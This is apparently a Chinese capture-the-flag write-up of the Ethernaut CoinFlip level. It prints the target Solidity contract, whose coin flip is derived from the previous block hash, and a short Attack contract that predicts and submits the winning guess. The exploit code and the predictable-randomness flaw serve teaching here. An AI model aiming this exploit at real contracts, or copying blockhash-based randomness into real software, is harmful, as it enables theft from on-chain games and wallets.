题目描述

image.png

解题过程

题目源码

  1. // SPDX-License-Identifier: MIT
  2. pragma solidity ^0.6.0;
  3. import '@openzeppelin/contracts/math/SafeMath.sol';
  4. contract CoinFlip {
  5. using SafeMath for uint256;
  6. uint256 public consecutiveWins;
  7. uint256 lastHash;
  8. uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
  9. constructor() public {
  10. consecutiveWins = 0;
  11. }
  12. function flip(bool _guess) public returns (bool) {
  13. uint256 blockValue = uint256(blockhash(block.number.sub(1)));
  14. if (lastHash == blockValue) {
  15. revert();
  16. }
  17. lastHash = blockValue;
  18. uint256 coinFlip = blockValue.div(FACTOR);
  19. bool side = coinFlip == 1 ? true : false;
  20. if (side == _guess) {
  21. consecutiveWins++;
  22. return true;
  23. } else {
  24. consecutiveWins = 0;
  25. return false;
  26. }
  27. }
  28. }

这里通过计算上一区块的信息与一个固定的数值相计算,就不存在随机的情况了,除了第一次的上一区块随机,其他均为可知的值
image.png
直接使用原合约的计算方法,部署攻击合约

  1. contract Attack {
  2. using SafeMath for uint256;
  3. uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
  4. address addr = 0x36D583674B7afE99c0c8FDE510BbA46ec7b96531;
  5. CoinFlip coin = CoinFlip(addr);
  6. function attack() public{
  7. uint256 blockValue = uint256(blockhash(block.number.sub(1)));
  8. uint256 coinFlip = blockValue.div(FACTOR);
  9. bool side = coinFlip == 1 ? true : false;
  10. coin.flip(side);
  11. }
  12. }

调用10次完成关卡
image.png